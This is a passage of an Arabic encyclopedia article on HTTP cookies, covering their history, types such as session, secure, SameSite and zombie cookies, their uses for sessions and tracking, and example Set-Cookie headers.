ملف تعريف ارتباط

**ملف تعريف الارتباط** أو **الكَعْكة** أو **[[كعيكة|الكُعَيْكَة]]**  (يُسمى أيضًا **ملف تعريف ارتباط الويب** أو **ملف تعريف ارتباط الإنترنت** أو **ملف تعريف ارتباط المتصفح** أو ببساطة **ملف تعريف الارتباط**) كتلةٌ صغيرة من البيانات يتم إنشاؤها بواسطة خادم الويب أثناء تصفح المستخدم لموقع ويب ووضعها على كمبيوتر المستخدم أو جهاز آخر بواسطة متصفح الويب الخاص بالمستخدم. يتم وضع ملفات تعريف الارتباط على الجهاز المستخدم للوصول إلى موقع الويب، وقد يتم وضع أكثر من ملف تعريف ارتباط على جهاز المستخدم أثناء الجلسة.

توفر ملفات تعريف الارتباط وظائف مفيدة وضرورية في بعض الأحيان على الويب. إنها تمكن خوادم الويب من تخزين معلومات الحالة (مثل العناصر المضافة إلى عربة التسوق في متجر عبر الإنترنت) على جهاز المستخدم أو تتبع نشاط تصفح المستخدم (بما في ذلك النقر على أزرار معينة، أو تسجيل الدخول، أو تسجيل الصفحات التي تمت زيارتها في الماضي). يمكن أيضًا استخدامها لحفظ المعلومات التي أدخلها المستخدم مسبقًا في حقول النموذج، مثل الأسماء والعناوين وكلمات المرور و لاستخدامها لاحقًا.

تُستخدم **ملفات تعريف الارتباط للمصادقة** بشكل شائع بواسطة خوادم الويب للتحقق من تسجيل دخول المستخدم، والحساب الذي سجل الدخول به. بدون ملف تعريف الارتباط، سيحتاج المستخدمون إلى التحقق من هويتهم عن طريق تسجيل الدخول إلى كل صفحة تحتوي على معلومات حساسة يرغبون في الوصول إليها. يعتمد أمان ملف تعريف الارتباط للمصادقة بشكل عام على أمان موقع الويب المصدر ومتصفح الويب الخاص بالمستخدم، وعلى ما إذا كانت بيانات ملف تعريف الارتباط مشفرة. قد تسمح الثغرات الأمنية للمهاجم بقراءة بيانات ملف تعريف الارتباط، أو استخدامها للوصول إلى بيانات المستخدم، أو استخدامها للوصول (باستخدام بيانات اعتماد المستخدم) إلى موقع الويب الذي ينتمي إليه ملف تعريف الارتباط (انظر نصوص المواقع المتقاطعة وتزوير الطلبات عبر المواقع المتقاطعة للحصول على أمثلة).

تُستخدم **ملفات تعريف الارتباط للتتبع**، وخاصة **ملفات تعريف الارتباط الخاصة بجهات خارجية**، بشكل شائع كطرق لتجميع السجلات طويلة المدى لتاريخ تصفح الأفراد  وهو مصدر قلق محتمل يتعلق بالخصوصية دفع المشرعين الأوروبيين والأمريكيين إلى اتخاذ إجراء في عام 2011. يتطلب القانون الأوروبي أن تحصل جميع مواقع الويب التي تستهدف الدول الأعضاء في الاتحاد الأوروبي على «موافقة مستنيرة» من المستخدمين قبل تخزين ملفات تعريف الارتباط غير الضرورية على أجهزتهم.

## الخلفية

### أصل الاسم
[تصغير|تتشارك ملفات تعريف الارتباط بروتوكول نقل النص الفائق اسمها مع [كعيكة|وجبة خفيفة مخبوزة شهيرة.]]
صِيغ مصطلح *ملف تعريف الارتباط* بواسطة مبرمج متصفح الويب . اشتق من مصطلح **'، وهو حزمة من البيانات يستقبلها البرنامج ويرسلها مرة أخرى دون تغيير، ويستخدمها مبرمجو [[يونكس]].

=== التاريخ ===
كانت ملفات تعريف الارتباط السحرية تُستخدم بالفعل في الحوسبة عندما خطرت فكرة استخدام ملفات تعريف الارتباط السحرية في اتصالات الويب في يونيو 1994 لمبرمج الكمبيوتر [[Lou Montulli|لو مونتولي.]] في ذلك الوقت، كان موظفًا في [[نتسكيب|شركة نتسكيب للاتصالات]]، التي كانت تعمل على تطوير تطبيق [[تجارة إلكترونية|للتجارة الإلكترونية]] لشركة . مثل [[فينت سيرف]] وجون [[John Klensin|كلينسين]] شركة إم سي آي في المناقشات الفنية مع شركة نتسكيب للاتصالات. لم ترغب شركة إم سي آي في أن تضطر خوادمها إلى الاحتفاظ بحالات المعاملات الجزئية، مما دفعها إلى مطالبة نتسكيب بإيجاد طريقة لتخزين تلك الحالة في جهاز الكمبيوتر الخاص بكل مستخدم بدلاً من ذلك. لقد وفرت ملفات تعريف الارتباط حلاً لمشكلة تنفيذ [[برنامج عربة التسوق|عربة التسوق الافتراضية]] بشكل موثوق.

بالتعاون مع جون جياناندريا، كتب مونتولي مواصفات ملفات تعريف الارتباط الأولية لنتسكيب في نفس العام. تم إصدار الإصدار 0.9 بيتا من [[نتسكيب نافيجاتور]]، في 13 أكتوبر 1994، ملفات تعريف الارتباط المدعومة. كان أول استخدام لملفات تعريف الارتباط (خارج المختبرات) هو التحقق مما إذا كان زوار موقع نتسكيب قد زاروا الموقع بالفعل. تقدم مونتولي بطلب للحصول على براءة اختراع لتكنولوجيا الكوكيز في عام 1995، والتي تم منحها في عام 1998. دُمج دعم ملفات تعريف الارتباط بمتصفح [[إنترنت إكسبلورر]] في الإصدار 2، الذي تم إصداره في أكتوبر 1995.

لم يكن تقديم ملفات تعريف الارتباط معروفًا على نطاق واسع للعامة في ذلك الوقت. على وجه الخصوص، تم قبول ملفات تعريف الارتباط بشكل افتراضي، ولم يتم إخطار المستخدمين بوجودها. علم الجمهور عن ملفات تعريف الارتباط بعد أن نشرت ''[[فاينانشال تايمز|صحيفة فاينانشال تايمز]]'' مقالاً عنها في 12 فبراير 1996. وفي العام نفسه، حظيت ملفات تعريف الارتباط بقدر كبير من الاهتمام الإعلامي، وخاصة بسبب الآثار المحتملة التي قد تترتب على الخصوصية. تمت مناقشة ملفات تعريف الارتباط في جلستي استماع [[لجنة التجارة الفيدرالية|للجنة التجارة الفيدرالية]] الأمريكية في عامي 1996 و1997.

وكان تطوير مواصفات ملفات تعريف الارتباط الرسمية جارياً بالفعل. وعلى وجه الخصوص، بدأت المناقشات الأولى حول المواصفات الرسمية في أبريل/نيسان 1995 على [[قائمة بريدية|قائمة البريد الإلكتروني]] www-talk. تم تشكيل مجموعة عمل خاصة ضمن [[مجموعة مهندسي الإنترنت|فريق عمل هندسة الإنترنت]] (IETF). وقد اقترح [[بريان بيليندورف|بريان بهليندورف]] وديفيد كريستول على التوالي اقتراحين بديلين لإدخال الحالة في معاملات بروتوكول نقل النص الفائق. لكن المجموعة، برئاسة كريستول نفسه ولو مونتولي، قررت سريعاً استخدام مواصفات نتسكيب كنقطة بداية. في فبراير 1996، حددت مجموعة العمل ملفات تعريف الارتباط الخاصة بطرف ثالث باعتبارها تهديدًا كبيرًا للخصوصية. وفي نهاية المطاف، تم نشر المواصفات التي أنتجتها المجموعة باسم آر إف سي 2109 في فبراير 1997. ويوضح أن ملفات تعريف الارتباط الخاصة بجهات خارجية غير مسموح بها على الإطلاق، أو على الأقل غير ممكّنة بشكل افتراضي. في هذا الوقت، كانت شركات الإعلان تستخدم بالفعل ملفات تعريف الارتباط التابعة لجهات خارجية. لم يتبع متصفحا نتسكيب وإنترنت إكسبلورر التوصية المتعلقة بملفات تعريف الارتباط الخاصة بأطراف ثالثة الواردة في آر إف سي 2109. تم استبدال آر إف سي 2109 بآر إف سي 2965 في أكتوبر 2000.

أضافت آر إف سي 2965 [[قائمة حقول ترويسة بروتوكول نقل النص الفائق|حقل رأس]] <code>Set-Cookie2</code>، والذي أصبح يُطلق عليه بشكل غير رسمي «ملفات تعريف الارتباط على غرار آر إف سي 2965» على عكس حقل رأس <code>Set-Cookie</code> الأصلي الذي كان يُطلق عليه «ملفات تعريف الارتباط على غرار نتسكيب». ومع ذلك، نادرًا ما تم استخدام <code>Set-Cookie2</code>، وتم إيقاف استخدامه في آر إف سي 6265 في أبريل 2011 والذي تمت كتابته كمواصفات نهائية لملفات تعريف الارتباط كما تستخدم في العالم الحقيقي. لا يتعرف أي متصفح حديث على حقل رأس <code>Set-Cookie2</code>.

== المصطلحات ==
=== ملف تعريف ارتباط الجلسة ===
''ملف تعريف الارتباط للجلسة'' (المعروف أيضًا باسم ''ملف تعريف الارتباط في الذاكرة'' أو ''ملف تعريف الارتباط المؤقت'' أو ''ملف تعريف الارتباط غير الدائم'') موجود فقط في الذاكرة المؤقتة أثناء تنقل المستخدم عبر موقع الويب. تنتهي صلاحية ملفات تعريف الارتباط الخاصة بالجلسة أو يتم حذفها عندما يغلق المستخدم متصفح الويب. يتم التعرف على ملفات تعريف الارتباط الخاصة بالجلسة بواسطة المتصفح من خلال عدم وجود تاريخ انتهاء صلاحية مخصص لها.

=== ملف تعريف الارتباط المستمر ===
تنتهي صلاحية ''ملف تعريف الارتباط المستمر'' في تاريخ محدد أو بعد فترة زمنية محددة. بالنسبة لعمر ملف تعريف الارتباط المستمر الذي حدده منشئه، سيتم نقل معلوماته إلى الخادم في كل مرة يزور فيها المستخدم موقع الويب الذي ينتمي إليه، أو في كل مرة يشاهد فيها المستخدم موردًا ينتمي إلى هذا الموقع من موقع ويب آخر (مثل الإعلان).

لهذا السبب، تُسمى ملفات تعريف الارتباط الدائمة أحيانًا بملفات ''تعريف الارتباط للتتبع'' إذ يُمكن للمُعلنين استخدامها لتسجيل معلومات حول عادات تصفح المستخدم للويب على مدار فترة زمنية طويلة. كما تُستخدم ملفات تعريف الارتباط الدائمة لأسباب مثل إبقاء المستخدمين مُسجلين دخولهم إلى حساباتهم على مواقع الويب، لتجنب إعادة إدخال بيانات اعتماد تسجيل الدخول في كل زيارة.

=== ملف تعريف الارتباط الآمن ===
لا يمكن نقل ''ملف تعريف الارتباط الآمن'' إلا عبر اتصال مشفر (أي [[بروتوكول نقل النص الفائق الآمن]]). لا يمكن نقلها عبر اتصالات غير مشفرة (مثل [[بروتوكول نقل النص الفائق]]). يؤدي هذا إلى تقليل احتمالية تعرض ملف تعريف الارتباط للسرقة عن طريق التنصت. يتم تأمين ملف تعريف الارتباط عن طريق إضافة علامة <code>Secure</code> إلى ملف تعريف الارتباط.

=== ملف تعريف الارتباط الخاص ببروتوكول نقل النص الفائق فقط ===
لا يمكن الوصول إلى ''ملف تعريف الارتباط http فقط'' بواسطة واجهات برمجة التطبيقات الموجودة على جانب العميل، مثل [[جافا سكريبت]]. يؤدي هذا القيد إلى إزالة خطر سرقة ملفات تعريف الارتباط عبر [[برمجة عابرة للمواقع|نصوص المواقع المتقاطعة]] (XSS). ومع ذلك، تظل ملفات تعريف الارتباط عرضة لهجمات  (XST) [[تزوير الطلب عبر المواقع|وتزوير الطلبات عبر المواقع]] (CSRF). يتم منح ملف تعريف الارتباط هذه الخاصية عن طريق إضافة علامة <code>HttpOnly</code> إلى ملف تعريف الارتباط.

=== ملف تعريف الارتباط الخاص بالموقع نفسه ===
في عام 2016، قدمت نسخة [[جوجل كروم]] 51 نوعًا جديدًا من ملفات تعريف الارتباط مع السمة <code>SameSite</code> مع قيم محتملة <code>Strict</code> أو <code>Lax</code> أو <code>None</code>. مع السمة <code>SameSite=Strict</code>، سوف ترسل المتصفحات ملفات تعريف الارتباط فقط إلى نطاق مستهدف يتطابق مع نطاق الأصل. سيؤدي هذا إلى التخفيف بشكل فعال من هجمات [[تزوير الطلب عبر المواقع|تزوير طلبات المواقع المتعددة]] (CSRF). مع <code>SameSite=Lax</code>، سترسل المتصفحات ملفات تعريف الارتباط مع الطلبات إلى نطاق مستهدف حتى لو كان مختلفًا عن نطاق المصدر، ولكن فقط للطلبات ''الآمنة'' مثل GET (POST غير آمن) وليس ملفات تعريف الارتباط الخاصة بجهات خارجية (داخل iframe). تسمح السمة <code>SameSite=None</code> بملفات تعريف الارتباط الخاصة بأطراف ثالثة (عبر المواقع)، ومع ذلك، تتطلب معظم المتصفحات السمة الآمنة على ملفات تعريف الارتباط SameSite=None.

تم دمج ملف تعريف الارتباط الخاص بالموقع نفسه في مسودة آر إف سي جديدة لـ«ملفات تعريف الارتباط: آلية إدارة حالة بروتوكول نقل النص الفائق» لتحديث آر إف سي 6265 (إذا تمت الموافقة عليها).

بدأت متصفحات كروم و<nowiki/>[[فيرفكس]] و<nowiki/>[[مايكروسوفت إيدج|إيدج]] في دعم ملفات تعريف الارتباط الخاصة بالموقع نفسه. إن مفتاح الطرح هو معالجة ملفات تعريف الارتباط الموجودة دون تحديد سمة سيمسايت، حيث كان كروم يعامل ملفات تعريف الارتباط الموجودة كما لو كان SameSite=None، وهذا من شأنه أن يسمح بتشغيل جميع مواقع الويب/التطبيقات كما كان من قبل. كانت جوجل تنوي تغيير هذا الإعداد الافتراضي إلى <code>SameSite=Lax</code> في كروم 80 المقرر إصداره في فبراير 2020، ولكن نظرًا لاحتمالية تعطل تلك التطبيقات/مواقع الويب التي تعتمد على ملفات تعريف الارتباط الخاصة بجهات خارجية/عبر المواقع وظروف [[مرض فيروس كورونا 2019|كوفيد-19]]، أرجأت جوجل هذا التغيير إلى كروم 84.

=== سوبر كوكي ===
ملف ''تعريف الارتباط الفائق'' هو ملف تعريف ارتباط له أصل [[نطاق المستوى الأعلى]] (مثل.<code>com</code>) أو لاحقة عامة (مثل.<code>co.uk</code>). على النقيض من ذلك، فإن ملفات تعريف الارتباط العادية لها أصل اسم نطاق محدد، مثل <code>example.com</code>.

يمكن أن تشكل ملفات تعريف الارتباط الفائقة مشكلة أمنية محتملة، وبالتالي يتم حظرها غالبًا بواسطة متصفحات الويب. إذا تم إلغاء حظره بواسطة المتصفح، يمكن للمهاجم الذي يتحكم في موقع ويب ضار تعيين ملف تعريف ارتباط فائق وتعطيل أو انتحال طلبات المستخدم المشروعة إلى موقع ويب آخر يشترك في نفس المجال الأعلى مستوى أو اللاحقة العامة مع موقع الويب الضار. على سبيل المثال، قد يؤثر ملف تعريف الارتباط الفائق الذي أصله.<code>com</code> بشكل ضار على طلب تم إرساله إلى <code>example.com</code>، حتى لو لم يكن ملف تعريف الارتباط صادرًا من <code>example.com</code>. يمكن استخدام هذا لتزييف عمليات تسجيل الدخول أو تغيير معلومات المستخدم.

تساعد  في التخفيف من المخاطر التي تشكلها ملفات تعريف الارتباط الفائقة. قائمة اللواحق العامة هي مبادرة مشتركة بين البائعين تهدف إلى توفير قائمة دقيقة ومحدثة من لواحق أسماء النطاقات. قد لا تحتوي الإصدارات القديمة من المتصفحات على قائمة محدثة، وبالتالي ستكون عرضة لملفات تعريف الارتباط الفائقة من نطاقات معينة.

==== استخدامات أخرى ====
يتم استخدام مصطلح ''سوبر كوكيز'' في بعض الأحيان لتقنيات التتبع التي لا تعتمد على ملفات تعريف الارتباط بروتوكول نقل النص الفائق. تم العثور على آليتين ''لملفات تعريف الارتباط الفائقة'' على مواقع مايكروسوفت على الويب في أغسطس 2011:  التي أعادت إنتاج ملفات تعريف الارتباط معرف الجهاز الفريد (MUID)، وملفات تعريف الارتباط [[وسم الكيان في بروتوكول نقل النص الفائق|علامة إلكترونية]]. ونتيجة لاهتمام وسائل الإعلام، قامت مايكروسوفت لاحقًا بتعطيل هذا الكود. في منشور مدونة عام 2021، استخدمت موزيلا مصطلح ''سوبر كوكيز'' للإشارة إلى استخدام ذاكرة التخزين المؤقت للمتصفح كوسيلة لتتبع المستخدمين عبر المواقع.

=== كوكي الزومبي ===


''ملف تعريف الارتباط الزومبي'' هو بيانات ورموز تم وضعها بواسطة [[خادم ويب|خادم الويب]] على كمبيوتر الزائر أو جهاز آخر في مكان مخفي خارج موقع تخزين ملفات تعريف الارتباط المخصص [[متصفح ويب|لمتصفح الويب]] الخاص بالزائر، والذي يقوم تلقائيًا بإعادة إنشاء ملف تعريف ارتباط بروتوكول نقل النص الفائق كملف تعريف ارتباط عادي بعد حذف ملف تعريف الارتباط الأصلي. يمكن تخزين ملف تعريف الارتباط الزومبي في مواقع متعددة، مثل ، [[تخزين الويب|وتخزين الويب لغة تأشير النص الترابطي 5]]، ومواقع أخرى على جانب العميل وحتى على جانب الخادم، وعندما يتم اكتشاف الغياب في أحد المواقع، يتم إعادة إنشاء المثيل المفقود بواسطة كود جافا سكريبت باستخدام البيانات المخزنة في مواقع أخرى.

=== جدار الكوكيز ===
يظهر جدار ملفات تعريف الارتباط على موقع الويب لإعلام المستخدم باستخدام الموقع لملفات تعريف الارتباط. لا يوجد خيار رفض، ولا يمكن الوصول إلى الموقع بدون ملفات تعريف ارتباط التتبع.

== البنية ==
يتكون ملف تعريف الارتباط من المكونات التالية:

# الاسم
# القيمة
# صفر أو أكثر من السمات ([[اقتران الاسم والقيمة|أزواج الاسم/القيمة]]). تخزن السمات معلومات مثل تاريخ انتهاء صلاحية ملف تعريف الارتباط والنطاق والأعلام (مثل <code>Secure</code> و <code>HttpOnly</code>).

== الاستخدامات ==

=== إدارة الجلسة ===
تم تقديم ملفات تعريف الارتباط في الأصل لتوفير طريقة للمستخدمين لتسجيل العناصر التي يرغبون في شرائها أثناء تنقلهم عبر موقع ويب (''عربة تسوق'' افتراضية أو ''سلة تسوق''). أما اليوم، فإن محتويات عربة التسوق الخاصة بالمستخدم عادة ما يتم تخزينها في قاعدة بيانات على الخادم، وليس في ملف تعريف الارتباط على العميل. لتتبع كل مستخدم تم تعيينه لعربة التسوق الخاصة به، يرسل الخادم ملف تعريف ارتباط إلى العميل يحتوي على [[معرف فريد|معرف جلسة فريد]] (عادةً، سلسلة طويلة من الأحرف والأرقام العشوائية). نظرًا لأن ملفات تعريف الارتباط يتم إرسالها إلى الخادم مع كل طلب يقدمه العميل، فسيتم إرسال معرف الجلسة هذا مرة أخرى إلى الخادم في كل مرة يزور فيها المستخدم صفحة جديدة على موقع الويب، مما يتيح للخادم معرفة عربة التسوق التي يجب عرضها للمستخدم.

من الاستخدامات الشائعة الأخرى لملفات تعريف الارتباط تسجيل الدخول إلى مواقع الويب. فعندما يزور المستخدم صفحة تسجيل الدخول، يُرسل خادم الويب عادةً ملف تعريف ارتباط إلى العميل يحتوي على مُعرّف جلسة فريد. وعندما يُسجّل المستخدم دخوله بنجاح، يتذكر الخادم أن مُعرّف الجلسة هذا قد تمت مُصادقته، ويمنحه حق الوصول إلى خدماته.

نظرًا لأن ملفات تعريف ارتباط الجلسة تحتوي فقط على مُعرّف جلسة فريد، فإن هذا يجعل كمية المعلومات الشخصية التي يُمكن لموقع الويب حفظها عن كل مستخدم غير محدودة تقريبًا - فلا يخضع الموقع لقيود تتعلق بحجم ملف تعريف الارتباط. كما تُساعد ملفات تعريف ارتباط الجلسة على تحسين أوقات تحميل الصفحات، نظرًا لصغر حجم المعلومات في ملف تعريف ارتباط الجلسة وقلة استهلاكه للنطاق الترددي.

=== التخصيص ===
يمكن استخدام ملفات تعريف الارتباط لحفظ معلومات عن المستخدم لعرض محتوى ذي صلة به مع مرور الوقت. على سبيل المثال، قد يرسل خادم ويب ملف تعريف ارتباط يحتوي على اسم المستخدم الذي استُخدم آخر مرة لتسجيل الدخول إلى موقع ويب، ليتم إدخاله تلقائيًا عند تسجيل دخول المستخدم التالي.

تستخدم العديد من المواقع الإلكترونية ملفات تعريف الارتباط للتخصيص بناءً على تفضيلات المستخدم. يقوم المستخدمون باختيار تفضيلاتهم عن طريق إدخالها في نموذج ويب وإرسال النموذج إلى الخادم. يقوم الخادم بتشفير التفضيلات في ملف تعريف الارتباط ويرسل ملف تعريف الارتباط مرة أخرى إلى المتصفح. بهذه الطريقة، في كل مرة يقوم المستخدم بالوصول إلى صفحة على موقع الويب، يمكن للخادم تخصيص الصفحة وفقًا لتفضيلات المستخدم. على سبيل المثال، كان محرك بحث [[جوجل]] يستخدم ملفات تعريف الارتباط للسماح للمستخدمين (حتى غير المسجلين) بتحديد عدد نتائج البحث التي يريدون رؤيتها لكل صفحة. بالإضافة إلى ذلك، يستخدم [[دك دك غو]] ملفات تعريف الارتباط للسماح للمستخدمين بتعيين تفضيلات العرض مثل ألوان صفحة الويب.

=== التتبع ===


يتم استخدام ملفات تعريف الارتباط للتتبع لتتبع عادات تصفح الويب الخاصة بالمستخدمين. يمكن أيضًا القيام بذلك إلى حد ما باستخدام [[عنوان بروتوكول الإنترنت]] الخاص بالكمبيوتر الذي يطلب الصفحة أو حقل [[حقل المرجع في ترويسة بروتوكول نقل النص الفائق|المرجع]] في رأس طلب [[بروتوكول نقل النص الفائق]]، ولكن ملفات تعريف الارتباط تسمح بدقة أكبر. ويمكن توضيح ذلك على النحو التالي:

# إذا طلب المستخدم صفحة من الموقع، ولكن الطلب لا يحتوي على أي ملف تعريف ارتباط، يفترض الخادم أن هذه هي الصفحة الأولى التي يزورها المستخدم. وبالتالي، يقوم الخادم بإنشاء معرف فريد (عادةً ما يكون عبارة عن سلسلة من الأحرف والأرقام العشوائية) ويرسله كملف تعريف ارتباط إلى المتصفح مع الصفحة المطلوبة.
# من هذه النقطة فصاعدًا، سيتم إرسال ملف تعريف الارتباط تلقائيًا بواسطة المتصفح إلى الخادم في كل مرة يتم فيها طلب صفحة جديدة من الموقع. لا يقوم الخادم بإرسال الصفحة كالمعتاد فحسب، بل يقوم أيضًا بتخزين عنوان محدد موقع الموارد الموحد للصفحة المطلوبة، وتاريخ/وقت الطلب، وملف تعريف الارتباط في ملف سجل.

ومن خلال تحليل ملف السجل هذا، يصبح من الممكن معرفة الصفحات التي زارها المستخدم، والتسلسل الذي قام بزيارتها، ومدة زيارتها.

تستغل الشركات عادات المستخدمين على شبكة الإنترنت من خلال تتبع ملفات تعريف الارتباط لجمع معلومات حول عادات الشراء. وجدت ''[[وول ستريت جورنال|صحيفة وول ستريت جورنال]]'' أن أفضل خمسين موقعًا إلكترونيًا في أمريكا قامت بتثبيت ما معدله أربعة وستين قطعة من تكنولوجيا التتبع على أجهزة الكمبيوتر، مما أدى إلى إجمالي 3180 ملف تتبع. ومن الممكن بعد ذلك جمع البيانات وبيعها للشركات المتقدمة للمزايدة.

== التنفيذ ==
[[ملف:HTTP cookie exchange.svg|تصغير|تفاعل محتمل بين متصفح ويب وخادم ويب يحمل صفحة ويب حيث يرسل الخادم ملف تعريف ارتباط إلى المتصفح ويرسله المتصفح مرة أخرى عند طلب صفحة أخرى]]

ملفات تعريف الارتباط هي عبارة عن قطع عشوائية من البيانات، يتم اختيارها وإرسالها عادةً أولاً بواسطة خادم الويب، ويتم تخزينها على كمبيوتر العميل بواسطة متصفح الويب. ثم يقوم المتصفح بإرسالها مرة أخرى إلى الخادم مع كل طلب، مما يؤدي إلى إدخال [[حالة (حاسوب)|حالات]] (ذاكرة الأحداث السابقة) في معاملات [[بروتوكول نقل النص الفائق]] التي لا تحتوي على حالة. بدون ملفات تعريف الارتباط، فإن كل استرجاع [[صفحة ويب|لصفحة ويب]] أو أحد مكونات صفحة ويب سيكون حدثًا معزولًا، وغير مرتبط إلى حد كبير بجميع مشاهدات الصفحات الأخرى التي يقوم بها المستخدم على موقع الويب. على الرغم من أن ملفات تعريف الارتباط يتم تعيينها عادةً بواسطة خادم الويب، إلا أنه يمكن أيضًا تعيينها بواسطة العميل باستخدام لغة برمجة نصية مثل [[جافا سكريبت]] (ما لم يتم تعيين علامة <code>HttpOnly</code> الخاصة بملف تعريف الارتباط، وفي هذه الحالة لا يمكن تعديل ملف تعريف الارتباط بواسطة لغات البرمجة النصية).

تتطلب مواصفات ملفات تعريف الارتباط أن تلبي المتصفحات المتطلبات التالية لدعم ملفات تعريف الارتباط:

* يمكنه دعم ملفات تعريف الارتباط التي يصل حجمها إلى 4096 [[بايت]].
* يمكن أن يدعم ما لا يقل عن 50 ملف تعريف ارتباط لكل [[نطاق (إنترنت)|نطاق]] (أي لكل موقع ويب).
* يمكنه دعم ما لا يقل عن 3000 ملف تعريف ارتباط في المجموع.

=== إعداد ملف تعريف الارتباط ===
يتم تعيين ملفات تعريف الارتباط باستخدام [[قائمة حقول ترويسة بروتوكول نقل النص الفائق|حقل رأس]] <code>Set-Cookie</code>، ويتم إرسالها في استجابة بروتوكول نقل النص الفائق من خادم الويب. يعطي حقل الرأس هذا تعليمات لمتصفح الويب بتخزين ملف تعريف الارتباط وإرساله مرة أخرى في الطلبات المستقبلية إلى الخادم (سيتجاهل المتصفح حقل الرأس هذا إذا كان لا يدعم ملفات تعريف الارتباط أو قام بتعطيل ملفات تعريف الارتباط).

على سبيل المثال، يرسل المتصفح طلب بروتوكول نقل النص الفائق الأول إلى الصفحة الرئيسية لموقع الويب <code>www.example.org</code> :
<syntaxhighlight lang="http">
GET /index.html HTTP/1.1
Host: www.example.org
...
</syntaxhighlight>

يستجيب الخادم بحقلين لرأس <code>Set-Cookie</code> :
<syntaxhighlight lang="http">
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: theme=light
Set-Cookie: sessionToken=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT
...
</syntaxhighlight>

تحتوي استجابة بروتوكول نقل النص الفائق الخاصة بالخادم على محتويات الصفحة الرئيسية للموقع. لكنها تطلب أيضًا من المتصفح تعيين ملفين تعريف ارتباط. الأول، ''theme''، يعتبر ''ملف تعريف ارتباط للجلسة'' لأنه لا يحتوي على سمة <code>Expires</code> أو <code>Max-Age</code>. ملفات تعريف الارتباط الخاصة بالجلسة مخصصة ليتم حذفها بواسطة المتصفح عند إغلاقه. أما الملف الثاني، ''sessionToken''، فيعتبر ''ملف تعريف ارتباط مستمرًا'' لأنه يحتوي على سمة <code>Expires</code>، والتي تطلب من المتصفح حذف ملف تعريف الارتباط في تاريخ ووقت محددين.

بعد ذلك، يقوم المتصفح بإرسال طلب آخر لزيارة صفحة <code>spec.html</code> على موقع الويب. يحتوي هذا الطلب على حقل رأس <code>Cookie</code>، والذي يحتوي على ملفي تعريف الارتباط اللذين أرشد الخادم المتصفح لتعيينهما:
<syntaxhighlight lang="http">
GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: theme=light; sessionToken=abc123
…
</syntaxhighlight>

بهذه الطريقة، يعرف الخادم أن طلب بروتوكول نقل النص الفائق هذا مرتبط بالطلب السابق. سيقوم الخادم بالرد عن طريق إرسال الصفحة المطلوبة، وربما تضمين المزيد من حقول رأس <code>Set-Cookie</code> في استجابة بروتوكول نقل النص الفائق لتوجيه المتصفح لإضافة ملفات تعريف ارتباط جديدة أو تعديل ملفات تعريف الارتباط الموجودة أو إزالة ملفات تعريف الارتباط الموجودة. لإزالة ملف تعريف الارتباط، يجب أن يتضمن الخادم حقل رأس <code>Set-Cookie</code> مع تاريخ انتهاء الصلاحية في الماضي.

قد تتكون قيمة ملف تعريف الارتباط من أي حرف [[أسكي|ASCII]] قابل للطباعة (من <code>!</code> إلى <code>~</code>، [[الترميز الموحد|ومن Unicode]] إلى <code>\u007E</code> <code>\u0021</code> باستثناء، و<nowiki/>[[محرف فراغ|أحرف المسافة البيضاء]]. يستثني اسم ملف تعريف الارتباط نفس الأحرف، بالإضافة إلى <code>=</code>، حيث أن هذا هو الفاصل بين الاسم والقيمة. يعد معيار ملفات تعريف الارتباط آر إف سي 2965 أكثر تقييدًا ولكن لا يتم تنفيذه بواسطة المتصفحات.

يُستخدم مصطلح ''فتات الكوكيز'' أحيانًا للإشارة إلى زوج اسم الكوكيز وقيمته.

يمكن أيضًا تعيين ملفات تعريف الارتباط بواسطة لغات البرمجة النصية مثل [[جافا سكريبت]] التي تعمل داخل المتصفح. في جافا سكريبت، يتم استخدام الكائن <code>document.cookie</code> لهذا الغرض. على سبيل المثال، تقوم التعليمات <code>document.cookie = "temperature=20"</code> بإنشاء ملف تعريف ارتباط باسم ''درجة الحرارة'' وقيمة ''20.''

=== سمات ملفات تعريف الارتباط ===
بالإضافة إلى الاسم والقيمة، يمكن أن تحتوي ملفات تعريف الارتباط على سمة واحدة أو أكثر. لا تُضمّن المتصفحات سمات ملفات تعريف الارتباط في الطلبات المُرسلة إلى الخادم، بل تُرسل اسم ملف تعريف الارتباط وقيمته فقط. تستخدم المتصفحات سمات ملفات تعريف الارتباط لتحديد وقت حذف ملف تعريف الارتباط أو حظره أو إرساله إلى الخادم.

==== المجال والمسار ====
تحدد سمات <code>Domain</code> <code>Path</code> نطاق ملف تعريف الارتباط. في الأساس، يخبرون المتصفح بالموقع الذي ينتمي إليه ملف تعريف الارتباط. لأسباب أمنية، لا يمكن تعيين ملفات تعريف الارتباط إلا على النطاق العلوي للمورد الحالي ونطاقاته الفرعية، وليس لنطاق آخر ونطاقاته الفرعية. على سبيل المثال، لا يمكن لموقع الويب <code>example.org</code> تعيين ملف تعريف ارتباط يحتوي على نطاق <code>foo.com</code> لأن هذا من شأنه أن يسمح لموقع الويب <code>example.org</code> بالتحكم في ملفات تعريف الارتباط الخاصة بالنطاق <code>foo.com</code>.

إذا لم يتم تحديد سمات <code>Domain</code> <code>Path</code> لملف تعريف الارتباط بواسطة الخادم، فسيتم تعيينها افتراضيًا على المجال ومسار المورد المطلوب. ومع ذلك، في معظم المتصفحات هناك فرق بين مجموعة ملفات تعريف الارتباط من <code>foo.com</code> بدون نطاق، ومجموعة ملفات تعريف الارتباط مع نطاق <code>foo.com</code>. في الحالة الأولى، سيتم إرسال ملف تعريف الارتباط فقط للطلبات الموجهة إلى <code>foo.com</code>، والمعروف أيضًا باسم ملف تعريف الارتباط المخصص للمضيف فقط. في الحالة الأخيرة، يتم أيضًا تضمين جميع المجالات الفرعية (على سبيل المثال، <code>docs.foo.com</code>). الاستثناء الملحوظ لهذه القاعدة العامة هو Edge قبل Windows 10 RS3 وإنترنت إكسبلورر قبل IE 11 وWindows 10 RS4 (أبريل 2018)، والذي يرسل دائمًا ملفات تعريف الارتباط إلى المجالات الفرعية بغض النظر عما إذا كان ملف تعريف الارتباط قد تم تعيينه مع أو بدون مجال.

فيما يلي مثال لبعض حقول رأس <code>Set-Cookie</code> في استجابة بروتوكول نقل النص الفائق لموقع ويب بعد تسجيل دخول المستخدم. تم إرسال طلب بروتوكول نقل النص الفائق إلى صفحة ويب ضمن المجال الفرعي <code>docs.foo.com</code> :
<syntaxhighlight lang="http">
HTTP/1.0 200 OK
Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
